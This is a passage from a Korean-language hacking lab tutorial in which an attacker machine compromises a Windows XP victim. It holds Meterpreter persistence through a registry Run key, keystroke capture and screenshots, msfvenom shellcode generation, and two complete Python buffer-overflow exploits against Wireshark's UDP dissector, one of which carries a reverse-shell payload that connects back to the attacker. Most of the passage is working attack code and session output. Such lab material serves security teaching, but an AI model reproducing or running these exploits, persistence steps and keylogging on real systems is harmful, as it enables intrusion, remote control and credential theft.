meterpreter &gt; upload /var/www/html/malware.exe c:\\windows\\system32
[*] uploading  : /var/www/html/malware.exe -&gt; c:\windows\system32
[*] uploaded   : /var/www/html/malware.exe -&gt; c:\windows\system32\malware.exe

meterpreter shell 에서 reg 명령어의 도움말을 살펴본다.
meterpreter &gt; help reg
Usage: reg [command] [options]
Interact with the target machine&#39;s registry.

OPTIONS:

    -d &lt;opt&gt;  The data to store in the registry value.
    -h        Help menu.
    -k &lt;opt&gt;  The registry key path (E.g. HKLM\Software\Foo).
    -r &lt;opt&gt;  The remote machine name to connect to (with current process credentials
    -t &lt;opt&gt;  The registry value type (E.g. REG_SZ).
    -v &lt;opt&gt;  The registry value name (E.g. Stuff).
    -w        Set KEY_WOW64 flag, valid values [32|64].
COMMANDS:

    enumkey     Enumerate the supplied registry key [-k &lt;key&gt;]
    createkey   Create the supplied registry key  [-k &lt;key&gt;]
    deletekey   Delete the supplied registry key  [-k &lt;key&gt;]
    queryclass  Queries the class of the supplied key [-k &lt;key&gt;]
    setval      Set a registry value [-k &lt;key&gt; -v &lt;val&gt; -d &lt;data&gt;]
    deleteval   Delete the supplied registry value [-k &lt;key&gt; -v &lt;val&gt;]
    queryval    Queries the data contents of a value [-k &lt;key&gt; -v &lt;val&gt;]


regedit 명령어를 이용해서 확인한다.
&quot;HKEY_LOCAL_MACHINE-&gt;SOFTWARE-&gt;Microsoft-&gt;Windows-&gt;CurrentVersion-&gt;Run&quot;

reg setval 명령어로 malware를 생성한다.
meterpreter &gt; reg setval -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run -v malware -d &quot;c:\\windows\\system32\\malware.exe&quot;
Successfully set malware of REG_SZ.

reg deleteval 명령어로 malware를 삭제한다.
meterpreter &gt; reg deleteval -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run -v malware -d &quot;c:\\windows\\system32\\malware.exe&quot;
Successfully deleted malware.

reg setval 명령어로 malware를 생성한다.
meterpreter &gt; reg setval -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run -v malware -d &quot;c:\\windows\\system32\\malware.exe&quot;
Successfully set malware of REG_SZ.

reg enumkey 명령어를 이용해서 목록을 확인한다.
meterpreter &gt; reg enumkey -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
Enumerating: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

  Keys (1):

    OptionalComponents

  Values (8):

    IMJPMIG8.1
    PHIME2002ASync
    PHIME2002A
    BluetoothAuthenticationAgent
    VMware User Process
    Adobe Reader Speed Launcher
    Adobe ARM
    malware    &lt;-- 


queryval 명령어를 이용해서 test를 확인한다.
meterpreter &gt; reg queryval -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run -v malware
Key: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Name: malware
Type: REG_SZ
Data: c:\windows\system32\malware.exe


meterpreter &gt; exit
msf6 exploit(windows/browser/adobe_cooltype_sing) &gt; exit

[root@kali ~]# vi malware.rc  
info multi/handler
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
show options
set lhost 200.200.200.3
set lport 80
exploit

[root@kali ~]# msfconsole -r malware.rc
  :
  :(생략)
resource (malware.rc)&gt; set lhost 200.200.200.3
lhost =&gt; 200.200.200.3
resource (malware.rc)&gt; set lport 80
lport =&gt; 80
resource (malware.rc)&gt; exploit
[*] Started reverse TCP handler on 200.200.200.3:80   &lt;-- 서버 대기 상태


Victim의 XP를 재부팅한다.
OS가 부팅되면 레지스트리에 등록된 c:\windows\system32\malware.exe 를 실행시켜서 공격자에게 연결된다.

  :
  :(생략)
resource (malware.rc)&gt; exploit
[*] Started reverse TCP handler on 200.200.200.3:80 
[*] Sending stage (175686 bytes) to 200.200.200.200
[*] Meterpreter session 1 opened (200.200.200.3:80 -&gt; 200.200.200.200:1025) at 2022-10-06 05:17:11 -0400

meterpreter &gt; sysinfo
Computer        : VICTIM_WINXP
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : ko_KR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows

meterpreter &gt; shell
Process 908 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\ksw&gt;ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter 로컬 영역 연결:

        Connection-specific DNS Suffix  . : 
        IP Address. . . . . . . . . . . . : 200.200.200.4
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 200.200.200.2

C:\Documents and Settings\ksw&gt; exit


화면 캡처 기능
Victim에서 notepad를 실행해서 중요 정보를 저장한다.
meterpreter &gt; screenshot
Screenshot saved to: /root/cdoJLXsz.jpeg

화면을 찍어서 Kali Linux에서 확인한다.

meterpreter &gt; keyscan_start
Starting the keystroke sniffer ...

notepad를 test2/000000 을 입력하고 keyscan_dump로 확인하면 아래처럼 출력된다.
meterpreter &gt; keyscan_dump
Dumping captured keystrokes...
&lt;CR&gt;
&lt;CR&gt;
test2&lt;CR&gt;
000000
</code></pre><blockquote>
<p><strong>실습&gt; 쉘코드</strong></p>
</blockquote>
<pre><code>쉘코드란 ?
기계어 코드가 메모리에 올라가서 직접적으로 실행하는 코드를 말한다.

예전 : 쉘을 실행하는 기계어 코드
현재 : 모든 명령어를 실행하는 기계어 코드

쉘코드를 사용하는 곳 ?
시스템 해킹 분야에서 사용한다.
보안 취약점이 있는 프로그램을 공략하기 위해서 사용한다.

쉘코드를 실행파일에서 뽑아내는 방법
C언어로 소스코드로 프로그램을 작성 -&gt; 어셈블리어로 분석 -&gt; 기계어로 뽑아낸다.

쉘코드를 쉽게 뽑아내는 방법
metasploit 안에 있는 msfvenom을 이용해서 쉘코드를 추출할 수 있다.

쉘코드 데이터베이스
http://shell-storm.org/shellcode/

쉘 코드를 뽑아내는 지식 : 
리눅스 : C언어, 어셈블리어, 시스템프로그래밍
</code></pre><blockquote>
<p>*<em>실습&gt; msfvenom 을 이용한 쉘코드 추출하기
*</em></p>
</blockquote>
<pre><code>/usr/share/metasploit-framework: 메타스플로잇 관련 디렉터리

Attacker# msfvenom -h
Attacker# ls -l /usr/bin/msfvenom
Attacker# ls -l /etc/alternatives/msfvenom
Attacker# ls -l /usr/share/metasploit-framework
Attacker# file /usr/share/metasploit-framework/msfvenom 
/usr/share/metasploit-framework/msfvenom: Ruby script, ASCII text

Attacker# msfvenom -l payloads 
Attacker# msfvenom -l payloads | grep linux/x64/exec
    linux/x64/exec                                      Execute an arbitrary command or just a /bin/sh shell

payload 옵션 확인
Attacker# msfvenom -p linux/x64/exec --list-options
Options for payload/linux/x64/exec:
=========================


       Name: Linux Execute Command
     Module: payload/linux/x64/exec
   Platform: Linux
       Arch: x64
Needs Admin: No
 Total size: 21
       Rank: Normal

Provided by:
    ricky
    Geyslan G. Bem &lt;geyslan@gmail.com&gt;

Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
CMD                    no        The command string to execute

Description:
  Execute an arbitrary command or just a /bin/sh shell



Advanced options for payload/linux/x64/exec:
=========================

    Name                     Current Setting  Required  Description
    ----                     ---------------  --------  -----------
    AppendExit               false            no        Append a stub that executes the exit(0) system
                                                        call
    MeterpreterDebugLevel    0                yes       Set debug level for meterpreter 0-3 (Default ou
                                                        tput is strerr)
    NullFreeVersion          false            yes       Null-free shellcode version
    PrependChrootBreak       false            no        Prepend a stub that will break out of a chroot
                                                        (includes setreuid to root)
    PrependFork              false            no        Prepend a stub that starts the payload in its o
                                                        wn process via fork
    PrependSetgid            false            no        Prepend a stub that executes the setgid(0) syst
                                                        em call
    PrependSetregid          false            no        Prepend a stub that executes the setregid(0, 0)
                                                         system call
    PrependSetresgid         false            no        Prepend a stub that executes the setresgid(0, 0
                                                        , 0) system call
    PrependSetresuid         false            no        Prepend a stub that executes the setresuid(0, 0
                                                        , 0) system call
    PrependSetreuid          false            no        Prepend a stub that executes the setreuid(0, 0)
                                                         system call
    PrependSetuid            false            no        Prepend a stub that executes the setuid(0) syst
                                                        em call
    RemoteMeterpreterDebugF                   no        Redirect Debug Info to a Log File
    ile
    VERBOSE                  false            no        Enable detailed status messages
    WORKSPACE                                 no        Specify the workspace for this module

Evasion options for payload/linux/x64/exec:
=========================

    Name  Current Setting  Required  Description
    ----  ---------------  --------  -----------


포맷 형식 옵션 
msfvenom --help-formats  &lt;-- 명령어 옵션이 변경되서 다시 확인!

명령어의 쉘코드 뽑아내기
Attacker# id
uid=0(root) gid=0(root) groups=0(root)


Attacker# msfvenom -p linux/x64/exec CMD=/usr/bin/id -f c -o shellcode1.c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 48 bytes
Final size of c file: 228 bytes
Saved as: shellcode1.c

Attcker# cat shellcode1.c
unsigned char buf[] =
&quot;\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f&quot;
&quot;\x52\x66\x68\x2d\x63\x54\x5e\x52\xe8\x0c\x00\x00\x00\x2f&quot;
&quot;\x75\x73\x72\x2f\x62\x69\x6e\x2f\x69\x64\x00\x56\x57\x54&quot;
&quot;\x5e\x6a\x3b\x58\x0f\x05&quot;;


소스코드 수정
생성된 shellcode1.c 파일을 C언어의 소스코드로 수정한다.
Attcker# vi shellcode1.c
/*
 * 파일명 : shellcode1.c
 * 프로그램 설명 : 쉘코드 테스트하기
 * 작성자 : linuxmasternet
 * 작성자 : 2023.03.10
 */
#include &lt;stdio.h&gt;

// id를 실행하는 쉘코드
unsigned char buf[] =
&quot;\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f\x52&quot;
&quot;\x66\x68\x2d\x63\x54\x5e\x52\xe8\x0c\x00\x00\x00\x2f\x75\x73&quot;
&quot;\x72\x2f\x62\x69\x6e\x2f\x69\x64\x00\x56\x57\x54\x5e\x6a\x3b&quot;
&quot;\x58\x0f\x05&quot;;

int main()
{
    int (*shellcode)();  // 함수 포인터
    shellcode = (int(*)())buf;  // 쉘코드 주소를 함수 포인터 저장
    (int)(*shellcode)();  // 함수 포인터 실행

    return 0;
}

컴파일 및 실행
소스코드를 컴파일하고 실행한다.
최신 OS들은 기본적으로 메모리(스택)는 실행 코드가 올라가도 그 코드의 실행을 방지한다.
Attcker# gcc -o shellcode1 shellcode1.c
Attacker ~# echo $SHELL
/bin/bash

Attcker# ./shellcode1
segmentation fault 

컴파일할 때 메모리(스택)에서 코드가 실행될 수 있도록 메모리 보호옵션을 해제한다.
Attacker# gcc -fno-stack-protector -z execstack -o shellcode1 shellcode1.c
Attacker# ./shellcode1
Segmentation fault


Kali에서 안되서 CentOS7에 가져와서 컴파일한 후에 실행한다.
Victim# vi shellcode1.c
/*
 * 파일명 : shellcode1.c
 * 프로그램 설명 : 쉘코드 테스트하기
 * 작성자 : linuxmasternet
 * 작성자 : 2023.03.10
 */
#include &lt;stdio.h&gt;

// id를 실행하는 쉘코드
unsigned char buf[] =
&quot;\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f\x52&quot;
&quot;\x66\x68\x2d\x63\x54\x5e\x52\xe8\x0c\x00\x00\x00\x2f\x75\x73&quot;
&quot;\x72\x2f\x62\x69\x6e\x2f\x69\x64\x00\x56\x57\x54\x5e\x6a\x3b&quot;
&quot;\x58\x0f\x05&quot;;

int main()
{
    int (*shellcode)();  // 함수 포인터
    shellcode = (int(*)())buf;  // 쉘코드 주소를 함수 포인터 저장
    (int)(*shellcode)();  // 함수 포인터 실행

    return 0;
}

Victim# yum -y install gcc
Victim# gcc -fno-stack-protector -z execstack -o shellcode1 shellcode1.c
Victim# ./shellcode1
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023


PoC(Proof of Concept)
PoC는 개념 증명 코드로 PoC 코드란 소프트웨어의 취약점을 발견하면 이 취약점을 이용해서 
Exploit(공격) 코드를 이용해서 공격이 가능함을 보여주는 것을 말한다.
취약점을 증명만 하면 되므로 간단한 소스코드를 작성하고 취약점을 테스트한다.
윈도우의 쉘코드는 계산기를 실행한다.
리눅스의 쉘코드는 쉘을 실행한다.
</code></pre><blockquote>
<p><strong>실습&gt; 와이어샤크의 취약점 공격코드 제작하기</strong></p>
</blockquote>
<pre><code>1. expolit 코드 작성

Attacker# vi wiresharkAttack.py
#!/usr/bin/env python2

import socket, sys

try:
  host = sys.argv[1]
except:
  print(&quot;usage: &quot; + sys.argv[0] + &quot; &lt;host&gt;&quot;)
  exit(2)

port = 921
addr = (host, port)

leng = 9150
high = int(leng / 256)
low = leng &amp; 255

crash = (&quot;A&quot; * 2128)

# Short jump
jmp = &quot;\x90\x90\x06\xeb&quot;

# pop/pop/ret in pcre3 0x61b4121b
ppr = &quot;\x1b\x12\xb4\x61&quot;

nop  = (&quot;\x90&quot; * 24)

# 224 bytes = calc.exe
shellcode = (
&quot;\xbf\x86\x0a\x33\xa0\x2b\xc9\xda\xd9\xd9\x74\x24\xf4\xb1&quot;
&quot;\x32\x5e\x31\x7e\x11\x03\x7e\x11\x83\xc6\x82\xe8\xc6\x5c&quot;
&quot;\x62\x65\x28\x9d\x72\x16\xa0\x78\x43\x04\xd6\x09\xf1\x98&quot;
&quot;\x9c\x5c\xf9\x53\xf0\x74\x8a\x16\xdd\x7b\x3b\x9c\x3b\xb5&quot;
&quot;\xbc\x10\x84\x19\x7e\x32\x78\x60\x52\x94\x41\xab\xa7\xd5&quot;
&quot;\x86\xd6\x47\x87\x5f\x9c\xf5\x38\xeb\xe0\xc5\x39\x3b\x6f&quot;
&quot;\x75\x42\x3e\xb0\x01\xf8\x41\xe1\xb9\x77\x09\x19\xb2\xd0&quot;
&quot;\xaa\x18\x17\x03\x96\x53\x1c\xf0\x6c\x62\xf4\xc8\x8d\x54&quot;
&quot;\x38\x86\xb3\x58\xb5\xd6\xf4\x5f\x25\xad\x0e\x9c\xd8\xb6&quot;
&quot;\xd4\xde\x06\x32\xc9\x79\xcd\xe4\x29\x7b\x02\x72\xb9\x77&quot;
&quot;\xef\xf0\xe5\x9b\xee\xd5\x9d\xa0\x7b\xd8\x71\x21\x3f\xff&quot;
&quot;\x55\x69\xe4\x9e\xcc\xd7\x4b\x9e\x0f\xbf\x34\x3a\x5b\x52&quot;
&quot;\x21\x3c\x06\x39\xb4\xcc\x3c\x04\xb6\xce\x3e\x27\xde\xff&quot;
&quot;\xb5\xa8\x99\xff\x1f\x8d\x55\x4a\x3d\xa4\xfd\x13\xd7\xf4&quot;
&quot;\x60\xa4\x0d\x3a\x9c\x27\xa4\xc3\x5b\x37\xcd\xc6\x20\xff&quot;
&quot;\x3d\xbb\x39\x6a\x42\x68\x3a\xbf\x21\xef\xa8\x23\xa6\xe5&quot;
)

crash2 = (&quot;\xcc&quot; * 6752)

data  = &quot;\x00\x00\x01\x5d\x00\x00\x00\x00\x4b\x49\x1c\x52\x00\x01\x00\x01&quot;
data += &quot;\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;
data += &quot;\x00\x00\x00\x01&quot;
data += chr(high) + chr(low) + crash + jmp + ppr + nop  + shellcode + crash2 + &quot;\x00\x00&quot;

udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
  udps.sendto(data, addr)
except:
  print(&quot;can&#39;t lookup host&quot;)
  exit(1)

udps.close()
exit(0)

Attacker# chmod 755 wiresharkAttack.py 

2. 패킷 덤프
Victim Windows XP에 설치된 와이어샤크를 실행해서 패킷을 덤프 받는다.
Victim Windows XP에 방화벽을 해제한다.

3. 공격
다른 터미널을 열어서 wiresharkAttack.py 를 실행한다.
Attacker# ./wiresharkAttack.py  200.200.200.4

4. 계산기 확인
공격을 받은 Victim은 와이어샤크가 종료되면서 쉘코드(계산기)가 실행된다.
</code></pre><blockquote>
<p><strong>실습&gt; 예외처리</strong></p>
</blockquote>
<pre><code>&gt;&gt;&gt; listData = [1,2,3,4,5]
&gt;&gt;&gt; listData[0]
1
&gt;&gt;&gt; listData[1]
2
&gt;&gt;&gt; listData[2]
3
&gt;&gt;&gt; listData[3]
4
&gt;&gt;&gt; listData[4]
5
&gt;&gt;&gt; listData.pop()
5
&gt;&gt;&gt; listData
[1, 2, 3, 4]
&gt;&gt;&gt; listData[4]
Traceback (most recent call last):
  File &quot;&lt;stdin&gt;&quot;, line 1, in &lt;module&gt;
IndexError: list index out of range
&gt;&gt;&gt; try:
...      listData[4]
... except:
...      print(&quot;데이터가 없습니다.&quot;)
...
데이터가 없습니다.
</code></pre><blockquote>
<p><strong>실습&gt; 와이어샤크 공격하기</strong></p>
</blockquote>
<pre><code>공격 형태 : 리버스 연결 쉘코드
윈도우 XP에 설치된 와이어샤크 1.2.5를 공격해서 쉘권한을 얻는다.

-a x86: 32bit OS
--platform windows: 윈도우 OS 
-p windows/meterpreter/reverse_tcp: 미터프리터의 리버스쉘
LHOST=200.200.200.3: Attacker IP 주소 
LPORT=443: Attacker PORT 주소
-f python: 쉘코드를 파이썬으로 출력 
-b &#39;\x00\xff&#39;: 제거할 문자
Attacker# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp \
LHOST=200.200.200.3 LPORT=443 -f python -b &#39;\x00\xff&#39;

Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of python file: 1887 bytes
buf =  b&quot;&quot;
buf += b&quot;\xda\xd8\xb8\x25\x3c\x25\x8f\xd9\x74\x24\xf4\x5b&quot;
buf += b&quot;\x33\xc9\xb1\x59\x31\x43\x19\x83\xeb\xfc\x03\x43&quot;
buf += b&quot;\x15\xc7\xc9\xd9\x67\x88\x32\x22\x78\xf6\x03\xf0&quot;
buf += b&quot;\x1c\x7d\x31\xc4\x57\xd3\xba\xad\x8d\x58\x90\xb9&quot;
buf += b&quot;\x7c\xa1\x1a\x75\x34\x7b\xae\x0b\xe1\xb2\x70\x47&quot;
buf += b&quot;\xcd\xd5\x0c\x9a\x02\x35\x2c\x55\x57\x34\x69\x23&quot;
buf += b&quot;\x1d\xd9\x27\x3f\x8f\x35\x9f\xb4\x72\x09\x1e\x1b&quot;
buf += b&quot;\xf9\x31\x58\x1e\x3e\xc5\xd4\x21\x6f\x75\x6e\x79&quot;
buf += b&quot;\xaf\x74\xa3\xf1\xe7\x6e\xc6\xcf\x8c\xb2\x81\x44&quot;
buf += b&quot;\x58\x41\x10\x8d\x90\xaa\x22\xf1\x7f\x95\x8a\xfc&quot;
buf += b&quot;\x7e\xd2\x2d\x1f\xf5\x28\x4e\xa2\x0e\xeb\x2c\x78&quot;
buf += b&quot;\x9a\xeb\x97\x0b\x3c\xcf\x26\xdf\xdb\x84\x25\x94&quot;
buf += b&quot;\xa8\xc2\x29\x2b\x7c\x79\x55\xa0\x83\xad\xdf\xf2&quot;
buf += b&quot;\xa7\x69\xbb\xa1\xc6\x28\x61\x07\xf6\x2a\xcd\xf8&quot;
buf += b&quot;\x52\x21\xfc\xef\xe3\xca\xfe\x0f\xbe\x5c\x32\xc2&quot;
buf += b&quot;\x41\x9c\x5c\x55\x31\xae\xc3\xcd\xdd\x82\x8c\xcb&quot;
buf += b&quot;\x1a\x93\x9b\xeb\xf5\x1b\xcb\x15\xf6\x5b\xc5\xd1&quot;
buf += b&quot;\xa2\x0b\x7d\xf3\xca\xc0\x7d\xfc\x1e\x7c\x74\x6a&quot;
buf += b&quot;\x69\x48\x40\x69\x01\x4a\x51\x6f\x6a\xc3\xb7\x3f&quot;
buf += b&quot;\xdc\x83\x67\x80\x8c\x63\xd8\x68\xc7\x6c\x07\x88&quot;
buf += b&quot;\xe8\xa7\x20\x23\x07\x11\x18\xdc\xbe\x38\xd2\x7d&quot;
buf += b&quot;\x3e\x97\x9e\xbe\xb4\x1d\x5e\x70\x3d\x54\x4c\x65&quot;
buf += b&quot;\x5a\x96\x8c\x76\xcf\x96\xe6\x72\x59\xc1\x9e\x78&quot;
buf += b&quot;\xbc\x25\x01\x82\xeb\x36\x46\x7c\x6a\x0e\x3c\x4b&quot;
buf += b&quot;\xf8\x2e\x2a\xb4\xec\xae\xaa\xe2\x66\xae\xc2\x52&quot;
buf += b&quot;\xd3\xfd\xf7\x9c\xce\x92\xab\x08\xf1\xc2\x18\x9a&quot;
buf += b&quot;\x99\xe8\x47\xec\x05\x13\xa2\x6e\x41\xeb\x30\x59&quot;
buf += b&quot;\xea\x83\xca\xd9\x0a\x53\xa1\xd9\x5a\x3b\x3e\xf5&quot;
buf += b&quot;\x55\x8b\xbf\xdc\x3d\x83\x4a\xb1\x8c\x32\x4a\x98&quot;
buf += b&quot;\x51\xea\x4b\x2f\x4a\x1d\x31\x40\x6d\xde\xc6\x48&quot;
buf += b&quot;\x0a\xdf\xc6\x74\x2c\xdc\x10\x4d\x5a\x23\xa1\xea&quot;
buf += b&quot;\x55\x16\x84\x5b\xfc\x58\x9a\x9c\xd5&quot;


2. exploit 코드 작성

Attacker# vi wiresharkAttack2.py
#!/usr/bin/env python2

import socket, sys

try:
  host = sys.argv[1]
except:
  print(&quot;usage: &quot; + sys.argv[0] + &quot; &lt;host&gt;&quot;)
  exit(2)

port = 921
addr = (host, port)

leng = 9150
high = int(leng / 256)
low = leng &amp; 255

crash = (&quot;A&quot; * 2128)

# Short jump
jmp = &quot;\x90\x90\x06\xeb&quot;

# pop/pop/ret in pcre3 0x61b4121b
ppr = &quot;\x1b\x12\xb4\x61&quot;

nop  = (&quot;\x90&quot; * 24)

buf =  b&quot;&quot;
buf += b&quot;\xda\xd8\xb8\x25\x3c\x25\x8f\xd9\x74\x24\xf4\x5b&quot;
buf += b&quot;\x33\xc9\xb1\x59\x31\x43\x19\x83\xeb\xfc\x03\x43&quot;
buf += b&quot;\x15\xc7\xc9\xd9\x67\x88\x32\x22\x78\xf6\x03\xf0&quot;
buf += b&quot;\x1c\x7d\x31\xc4\x57\xd3\xba\xad\x8d\x58\x90\xb9&quot;
buf += b&quot;\x7c\xa1\x1a\x75\x34\x7b\xae\x0b\xe1\xb2\x70\x47&quot;
buf += b&quot;\xcd\xd5\x0c\x9a\x02\x35\x2c\x55\x57\x34\x69\x23&quot;
buf += b&quot;\x1d\xd9\x27\x3f\x8f\x35\x9f\xb4\x72\x09\x1e\x1b&quot;
buf += b&quot;\xf9\x31\x58\x1e\x3e\xc5\xd4\x21\x6f\x75\x6e\x79&quot;
buf += b&quot;\xaf\x74\xa3\xf1\xe7\x6e\xc6\xcf\x8c\xb2\x81\x44&quot;
buf += b&quot;\x58\x41\x10\x8d\x90\xaa\x22\xf1\x7f\x95\x8a\xfc&quot;
buf += b&quot;\x7e\xd2\x2d\x1f\xf5\x28\x4e\xa2\x0e\xeb\x2c\x78&quot;
buf += b&quot;\x9a\xeb\x97\x0b\x3c\xcf\x26\xdf\xdb\x84\x25\x94&quot;
buf += b&quot;\xa8\xc2\x29\x2b\x7c\x79\x55\xa0\x83\xad\xdf\xf2&quot;
buf += b&quot;\xa7\x69\xbb\xa1\xc6\x28\x61\x07\xf6\x2a\xcd\xf8&quot;
buf += b&quot;\x52\x21\xfc\xef\xe3\xca\xfe\x0f\xbe\x5c\x32\xc2&quot;
buf += b&quot;\x41\x9c\x5c\x55\x31\xae\xc3\xcd\xdd\x82\x8c\xcb&quot;
buf += b&quot;\x1a\x93\x9b\xeb\xf5\x1b\xcb\x15\xf6\x5b\xc5\xd1&quot;
buf += b&quot;\xa2\x0b\x7d\xf3\xca\xc0\x7d\xfc\x1e\x7c\x74\x6a&quot;
buf += b&quot;\x69\x48\x40\x69\x01\x4a\x51\x6f\x6a\xc3\xb7\x3f&quot;
buf += b&quot;\xdc\x83\x67\x80\x8c\x63\xd8\x68\xc7\x6c\x07\x88&quot;
buf += b&quot;\xe8\xa7\x20\x23\x07\x11\x18\xdc\xbe\x38\xd2\x7d&quot;
buf += b&quot;\x3e\x97\x9e\xbe\xb4\x1d\x5e\x70\x3d\x54\x4c\x65&quot;
buf += b&quot;\x5a\x96\x8c\x76\xcf\x96\xe6\x72\x59\xc1\x9e\x78&quot;
buf += b&quot;\xbc\x25\x01\x82\xeb\x36\x46\x7c\x6a\x0e\x3c\x4b&quot;
buf += b&quot;\xf8\x2e\x2a\xb4\xec\xae\xaa\xe2\x66\xae\xc2\x52&quot;
buf += b&quot;\xd3\xfd\xf7\x9c\xce\x92\xab\x08\xf1\xc2\x18\x9a&quot;
buf += b&quot;\x99\xe8\x47\xec\x05\x13\xa2\x6e\x41\xeb\x30\x59&quot;
buf += b&quot;\xea\x83\xca\xd9\x0a\x53\xa1\xd9\x5a\x3b\x3e\xf5&quot;
buf += b&quot;\x55\x8b\xbf\xdc\x3d\x83\x4a\xb1\x8c\x32\x4a\x98&quot;
buf += b&quot;\x51\xea\x4b\x2f\x4a\x1d\x31\x40\x6d\xde\xc6\x48&quot;
buf += b&quot;\x0a\xdf\xc6\x74\x2c\xdc\x10\x4d\x5a\x23\xa1\xea&quot;
buf += b&quot;\x55\x16\x84\x5b\xfc\x58\x9a\x9c\xd5&quot;

# 
shellcode = buf

crash2 = (&quot;\xcc&quot; * 6752)

data  = &quot;\x00\x00\x01\x5d\x00\x00\x00\x00\x4b\x49\x1c\x52\x00\x01\x00\x01&quot;
data += &quot;\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;
data += &quot;\x00\x00\x00\x01&quot;
data += chr(high) + chr(low) + crash + jmp + ppr + nop  + shellcode + crash2 + &quot;\x00\x00&quot;


udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
  udps.sendto(data, addr)
except:
  print(&quot;can&#39;t lookup host&quot;)
  exit(1)

udps.close()
exit(0)

Attacker# chmod 755 wiresharkAttack2.py 

3. 공격 대기
Attacker# vi  wiresharkAttack.rc
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 200.200.200.3
set LPORT 443
set ExitOnSession false
exploit -j -z

Attacker# msfconsole -r wiresharkAttack.rc

4. 패킷 덤프
Victim에서 와이어샤크로 패킷을 덤프 받는다.

5. 공격
새로 작성된 익스플로잇 코드를 실행한다.
Attacker# ./wiresharkAttack2.py 200.200.200.4

6. 공격자 연결
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 200.200.200.3:443 
msf6 exploit(multi/handler) &gt; [*] Sending stage (175686 bytes) to 200.200.200.4
[*] Meterpreter session 1 opened (200.200.200.3:443 -&gt; 200.200.200.4:1114) at 2023-03-09 22:39:00 -0500

msf6 exploit(multi/handler) &gt; sessions 

Active sessions
===============

  Id  Name  Type                     Information                Connection
  --  ----  ----                     -----------                ----------
  1         meterpreter x86/windows  VICTIM_WINXP\ksw @ VICTIM  200.200.200.3:443 -&gt; 200.
                                     _WINXP                     200.200.4:1114 (200.200.2
                                                                00.4)

msf6 exploit(multi/handler) &gt; sessions 1
[*] Starting interaction with 1...

meterpreter &gt; sysinfo
Computer        : VICTIM_WINXP
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : ko_KR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows


meterpreter &gt; ps

Process List
============

 PID   PPID  Name               Arch  Session  User                 Path
 ---   ----  ----               ----  -------  ----                 ----
 0     0     [System Process]
 4     0     System             x86   0
 188   1140  conime.exe         x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\system32\conime.exe
 224   700   svchost.exe        x86   0                             C:\WINDOWS\system32\svchost.exe
 372   4     smss.exe           x86   0        NT AUTHORITY\SYSTEM  \SystemRoot\System32\smss.exe
 420   700   VGAuthService.exe  x86   0        NT AUTHORITY\SYSTEM  C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.
                                                                    exe
 452   700   vmtoolsd.exe       x86   0        NT AUTHORITY\SYSTEM  C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
 588   372   csrss.exe          x86   0        NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\csrss.exe
 612   372   winlogon.exe       x86   0        NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\winlogon.exe
 700   612   services.exe       x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\services.exe
 712   612   lsass.exe          x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\lsass.exe
 868   700   vmacthlp.exe       x86   0        NT AUTHORITY\SYSTEM  C:\Program Files\VMware\VMware Tools\vmacthlp.exe
 876   1624  dumpcap.exe        x86   0        VICTIM_WINXP\ksw     C:\Program Files\Wireshark\dumpcap.exe
 884   700   svchost.exe        x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\svchost.exe
 964   700   svchost.exe        x86   0                             C:\WINDOWS\system32\svchost.exe
 1048  700   svchost.exe        x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\System32\svchost.exe
 1092  700   svchost.exe        x86   0                             C:\WINDOWS\system32\svchost.exe
 1128  700   svchost.exe        x86   0                             C:\WINDOWS\system32\svchost.exe
 1252  1048  wscntfy.exe        x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\system32\wscntfy.exe
 1316  884   wmiprvse.exe       x86   0                             C:\WINDOWS\system32\wbem\wmiprvse.exe
 1444  1420  explorer.exe       x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\Explorer.EXE
